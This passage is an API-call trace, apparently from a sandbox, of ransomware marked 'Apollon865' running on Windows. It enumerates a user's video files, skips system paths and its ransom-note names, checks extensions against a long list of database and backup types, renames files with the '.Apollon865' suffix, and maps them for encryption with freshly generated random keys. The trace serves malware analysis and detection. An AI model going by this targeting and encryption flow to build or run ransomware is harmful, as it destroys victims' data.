	[0086.237] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec946210, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0x84842170, ftLastAccessTime.dwHighDateTime=0x1d4ccd1, ftLastWriteTime.dwLowDateTime=0x84842170, ftLastWriteTime.dwHighDateTime=0x1d4ccd1, nFileSizeHigh=0x0, nFileSizeLow=0x16ca4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eERVRfig6ysw.avi", cAlternateFileName="EERVRF~1.AVI")) returned 1
	[0086.237] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="Apollon865.txt.exe") returned 1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".") returned 1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="..") returned 1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="windows") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="bootmgr") returned 1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="temp") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="pagefile.sys") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="boot") returned 1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="ids.txt") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="ntuser.dat") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="perflogs") returned -1
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2="MSBuild") returned -1
	[0086.238] lstrlenW (lpString="eERVRfig6ysw.avi") returned 16
	[0086.238] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned 48
	[0086.238] lstrcpyW (in: lpString1=0x119e652, lpString2="eERVRfig6ysw.avi" | out: lpString1="eERVRfig6ysw.avi") returned="eERVRfig6ysw.avi"
	[0086.238] lstrlenW (lpString="eERVRfig6ysw.avi") returned 16
	[0086.238] lstrlenW (lpString="Apollon865") returned 10
	[0086.238] lstrcmpiW (lpString1="ig6ysw.avi", lpString2="Apollon865") returned 1
	[0086.238] lstrlenW (lpString=".dll") returned 4
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".dll") returned 1
	[0086.238] lstrlenW (lpString=".lnk") returned 4
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".lnk") returned 1
	[0086.238] lstrlenW (lpString=".ini") returned 4
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".ini") returned 1
	[0086.238] lstrlenW (lpString=".sys") returned 4
	[0086.238] lstrcmpiW (lpString1="eERVRfig6ysw.avi", lpString2=".sys") returned 1
	[0086.238] lstrlenW (lpString="eERVRfig6ysw.avi") returned 16
	[0086.238] lstrlenW (lpString="bak") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.239] lstrlenW (lpString="ba_") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.239] lstrlenW (lpString="dbb") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.239] lstrlenW (lpString="vmdk") returned 4
	[0086.239] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.239] lstrlenW (lpString="rar") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.239] lstrlenW (lpString="zip") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.239] lstrlenW (lpString="tgz") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.239] lstrlenW (lpString="vbox") returned 4
	[0086.239] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.239] lstrlenW (lpString="vdi") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.239] lstrlenW (lpString="vhd") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.239] lstrlenW (lpString="vhdx") returned 4
	[0086.239] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.239] lstrlenW (lpString="avhd") returned 4
	[0086.239] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.239] lstrlenW (lpString="db") returned 2
	[0086.239] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.239] lstrlenW (lpString="db2") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.239] lstrlenW (lpString="db3") returned 3
	[0086.239] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.240] lstrlenW (lpString="dbf") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.240] lstrlenW (lpString="mdf") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.240] lstrlenW (lpString="mdb") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.240] lstrlenW (lpString="sql") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.240] lstrlenW (lpString="sqlite") returned 6
	[0086.240] lstrcmpiW (lpString1="sw.avi", lpString2="sqlite") returned 1
	[0086.240] lstrlenW (lpString="sqlite3") returned 7
	[0086.240] lstrcmpiW (lpString1="ysw.avi", lpString2="sqlite3") returned 1
	[0086.240] lstrlenW (lpString="sqlitedb") returned 8
	[0086.240] lstrcmpiW (lpString1="6ysw.avi", lpString2="sqlitedb") returned -1
	[0086.240] lstrlenW (lpString="xml") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.240] lstrlenW (lpString="$er") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.240] lstrlenW (lpString="4dd") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.240] lstrlenW (lpString="4dl") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.240] lstrlenW (lpString="^^^") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.240] lstrlenW (lpString="abs") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.240] lstrlenW (lpString="abx") returned 3
	[0086.240] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.241] lstrlenW (lpString="accdb") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accdb") returned 1
	[0086.241] lstrlenW (lpString="accdc") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accdc") returned 1
	[0086.241] lstrlenW (lpString="accde") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accde") returned 1
	[0086.241] lstrlenW (lpString="accdr") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accdr") returned 1
	[0086.241] lstrlenW (lpString="accdt") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accdt") returned 1
	[0086.241] lstrlenW (lpString="accdw") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accdw") returned 1
	[0086.241] lstrlenW (lpString="accft") returned 5
	[0086.241] lstrcmpiW (lpString1="w.avi", lpString2="accft") returned 1
	[0086.241] lstrlenW (lpString="adb") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.241] lstrlenW (lpString="adb") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.241] lstrlenW (lpString="ade") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.241] lstrlenW (lpString="adf") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.241] lstrlenW (lpString="adn") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.241] lstrlenW (lpString="adp") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.241] lstrlenW (lpString="alf") returned 3
	[0086.241] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.241] lstrlenW (lpString="ask") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.242] lstrlenW (lpString="btr") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.242] lstrlenW (lpString="cat") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.242] lstrlenW (lpString="cdb") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.242] lstrlenW (lpString="ckp") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.242] lstrlenW (lpString="cma") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.242] lstrlenW (lpString="cpd") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.242] lstrlenW (lpString="dacpac") returned 6
	[0086.242] lstrcmpiW (lpString1="sw.avi", lpString2="dacpac") returned 1
	[0086.242] lstrlenW (lpString="dad") returned 3
	[0086.242] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.242] lstrlenW (lpString="dadiagrams") returned 10
	[0086.242] lstrcmpiW (lpString1="ig6ysw.avi", lpString2="dadiagrams") returned 1
	[0086.242] lstrlenW (lpString="daschema") returned 8
	[0086.242] lstrcmpiW (lpString1="6ysw.avi", lpString2="daschema") returned -1
	[0086.242] lstrlenW (lpString="db-journal") returned 10
	[0086.242] lstrcmpiW (lpString1="ig6ysw.avi", lpString2="db-journal") returned 1
	[0086.242] lstrlenW (lpString="db-shm") returned 6
	[0086.242] lstrcmpiW (lpString1="sw.avi", lpString2="db-shm") returned 1
	[0086.242] lstrlenW (lpString="db-wal") returned 6
	[0086.242] lstrcmpiW (lpString1="sw.avi", lpString2="db-wal") returned 1
	[0086.242] lstrlenW (lpString="dbc") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.243] lstrlenW (lpString="dbs") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.243] lstrlenW (lpString="dbt") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.243] lstrlenW (lpString="dbv") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.243] lstrlenW (lpString="dbx") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.243] lstrlenW (lpString="dcb") returned 3
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.243] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.243] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eERVRfig6ysw.avi.Apollon865") returned 64
	[0086.243] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eERVRfig6ysw.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\eervrfig6ysw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eERVRfig6ysw.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\eervrfig6ysw.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eERVRfig6ysw.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\eervrfig6ysw.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.245] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93348) returned 1
	[0086.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.246] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.246] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.247] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.247] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.247] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16fb0, lpName=0x0) returned 0x15c
	[0086.247] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16fb0) returned 0x120000
	[0086.252] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.253] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.253] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.254] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.255] CloseHandle (hObject=0x15c) returned 1
	[0086.255] CloseHandle (hObject=0x9c) returned 1
	[0086.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.257] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.257] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3c72d60, ftCreationTime.dwHighDateTime=0x1d4d39e, ftLastAccessTime.dwLowDateTime=0x82972440, ftLastAccessTime.dwHighDateTime=0x1d4cd2e, ftLastWriteTime.dwLowDateTime=0x82972440, ftLastWriteTime.dwHighDateTime=0x1d4cd2e, nFileSizeHigh=0x0, nFileSizeLow=0xc5be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f4Q004W.avi", cAlternateFileName="")) returned 1
	[0086.257] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.257] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="Apollon865.txt.exe") returned 1
	[0086.257] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".") returned 1
	[0086.257] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="..") returned 1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="windows") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="bootmgr") returned 1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="temp") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="pagefile.sys") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="boot") returned 1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="ids.txt") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="ntuser.dat") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="perflogs") returned -1
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2="MSBuild") returned -1
	[0086.258] lstrlenW (lpString="f4Q004W.avi") returned 11
	[0086.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eERVRfig6ysw.avi") returned 53
	[0086.258] lstrcpyW (in: lpString1=0x119e652, lpString2="f4Q004W.avi" | out: lpString1="f4Q004W.avi") returned="f4Q004W.avi"
	[0086.258] lstrlenW (lpString="f4Q004W.avi") returned 11
	[0086.258] lstrlenW (lpString="Apollon865") returned 10
	[0086.258] lstrcmpiW (lpString1="4Q004W.avi", lpString2="Apollon865") returned -1
	[0086.258] lstrlenW (lpString=".dll") returned 4
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".dll") returned 1
	[0086.258] lstrlenW (lpString=".lnk") returned 4
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".lnk") returned 1
	[0086.258] lstrlenW (lpString=".ini") returned 4
	[0086.258] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".ini") returned 1
	[0086.259] lstrlenW (lpString=".sys") returned 4
	[0086.259] lstrcmpiW (lpString1="f4Q004W.avi", lpString2=".sys") returned 1
	[0086.259] lstrlenW (lpString="f4Q004W.avi") returned 11
	[0086.259] lstrlenW (lpString="bak") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.259] lstrlenW (lpString="ba_") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.259] lstrlenW (lpString="dbb") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.259] lstrlenW (lpString="vmdk") returned 4
	[0086.259] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.259] lstrlenW (lpString="rar") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.259] lstrlenW (lpString="zip") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.259] lstrlenW (lpString="tgz") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.259] lstrlenW (lpString="vbox") returned 4
	[0086.259] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.259] lstrlenW (lpString="vdi") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="vdi") returned -1
	[0086.259] lstrlenW (lpString="vhd") returned 3
	[0086.259] lstrcmpiW (lpString1="avi", lpString2="vhd") returned -1
	[0086.259] lstrlenW (lpString="vhdx") returned 4
	[0086.259] lstrcmpiW (lpString1=".avi", lpString2="vhdx") returned -1
	[0086.259] lstrlenW (lpString="avhd") returned 4
	[0086.259] lstrcmpiW (lpString1=".avi", lpString2="avhd") returned -1
	[0086.259] lstrlenW (lpString="db") returned 2
	[0086.260] lstrcmpiW (lpString1="vi", lpString2="db") returned 1
	[0086.260] lstrlenW (lpString="db2") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="db2") returned -1
	[0086.260] lstrlenW (lpString="db3") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="db3") returned -1
	[0086.260] lstrlenW (lpString="dbf") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="dbf") returned -1
	[0086.260] lstrlenW (lpString="mdf") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="mdf") returned -1
	[0086.260] lstrlenW (lpString="mdb") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="mdb") returned -1
	[0086.260] lstrlenW (lpString="sql") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="sql") returned -1
	[0086.260] lstrlenW (lpString="sqlite") returned 6
	[0086.260] lstrcmpiW (lpString1="4W.avi", lpString2="sqlite") returned -1
	[0086.260] lstrlenW (lpString="sqlite3") returned 7
	[0086.260] lstrcmpiW (lpString1="04W.avi", lpString2="sqlite3") returned -1
	[0086.260] lstrlenW (lpString="sqlitedb") returned 8
	[0086.260] lstrcmpiW (lpString1="004W.avi", lpString2="sqlitedb") returned -1
	[0086.260] lstrlenW (lpString="xml") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="xml") returned -1
	[0086.260] lstrlenW (lpString="$er") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="$er") returned 1
	[0086.260] lstrlenW (lpString="4dd") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="4dd") returned 1
	[0086.260] lstrlenW (lpString="4dl") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="4dl") returned 1
	[0086.260] lstrlenW (lpString="^^^") returned 3
	[0086.260] lstrcmpiW (lpString1="avi", lpString2="^^^") returned 1
	[0086.261] lstrlenW (lpString="abs") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.261] lstrlenW (lpString="abx") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.261] lstrlenW (lpString="accdb") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accdb") returned 1
	[0086.261] lstrlenW (lpString="accdc") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accdc") returned 1
	[0086.261] lstrlenW (lpString="accde") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accde") returned 1
	[0086.261] lstrlenW (lpString="accdr") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accdr") returned 1
	[0086.261] lstrlenW (lpString="accdt") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accdt") returned 1
	[0086.261] lstrlenW (lpString="accdw") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accdw") returned 1
	[0086.261] lstrlenW (lpString="accft") returned 5
	[0086.261] lstrcmpiW (lpString1="W.avi", lpString2="accft") returned 1
	[0086.261] lstrlenW (lpString="adb") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.261] lstrlenW (lpString="adb") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.261] lstrlenW (lpString="ade") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.261] lstrlenW (lpString="adf") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.261] lstrlenW (lpString="adn") returned 3
	[0086.261] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.262] lstrlenW (lpString="adp") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.262] lstrlenW (lpString="alf") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.262] lstrlenW (lpString="ask") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.262] lstrlenW (lpString="btr") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.262] lstrlenW (lpString="cat") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.262] lstrlenW (lpString="cdb") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.262] lstrlenW (lpString="ckp") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.262] lstrlenW (lpString="cma") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.262] lstrlenW (lpString="cpd") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.262] lstrlenW (lpString="dacpac") returned 6
	[0086.262] lstrcmpiW (lpString1="4W.avi", lpString2="dacpac") returned -1
	[0086.262] lstrlenW (lpString="dad") returned 3
	[0086.262] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.262] lstrlenW (lpString="dadiagrams") returned 10
	[0086.262] lstrcmpiW (lpString1="4Q004W.avi", lpString2="dadiagrams") returned -1
	[0086.262] lstrlenW (lpString="daschema") returned 8
	[0086.262] lstrcmpiW (lpString1="004W.avi", lpString2="daschema") returned -1
	[0086.262] lstrlenW (lpString="db-journal") returned 10
	[0086.262] lstrcmpiW (lpString1="4Q004W.avi", lpString2="db-journal") returned -1
	[0086.263] lstrlenW (lpString="db-shm") returned 6
	[0086.263] lstrcmpiW (lpString1="4W.avi", lpString2="db-shm") returned -1
	[0086.263] lstrlenW (lpString="db-wal") returned 6
	[0086.263] lstrcmpiW (lpString1="4W.avi", lpString2="db-wal") returned -1
	[0086.263] lstrlenW (lpString="dbc") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.263] lstrlenW (lpString="dbs") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.263] lstrlenW (lpString="dbt") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.263] lstrlenW (lpString="dbv") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.263] lstrlenW (lpString="dbx") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.263] lstrlenW (lpString="dcb") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.263] lstrlenW (lpString="dct") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.263] lstrlenW (lpString="dcx") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.263] lstrlenW (lpString="ddl") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.263] lstrlenW (lpString="dlis") returned 4
	[0086.263] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.263] lstrlenW (lpString="dp1") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.263] lstrlenW (lpString="dqy") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.263] lstrlenW (lpString="dsk") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.263] lstrlenW (lpString="dsn") returned 3
	[0086.263] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.263] lstrlenW (lpString="dtsx") returned 4
	[0086.263] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.263] lstrlenW (lpString="dxl") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.264] lstrlenW (lpString="eco") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.264] lstrlenW (lpString="ecx") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.264] lstrlenW (lpString="edb") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.264] lstrlenW (lpString="epim") returned 4
	[0086.264] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.264] lstrlenW (lpString="fcd") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.264] lstrlenW (lpString="fdb") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.264] lstrlenW (lpString="fic") returned 3
	[0086.264] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.264] lstrlenW (lpString="flexolibrary") returned 12
	[0086.264] lstrlenW (lpString="fm5") returned 3
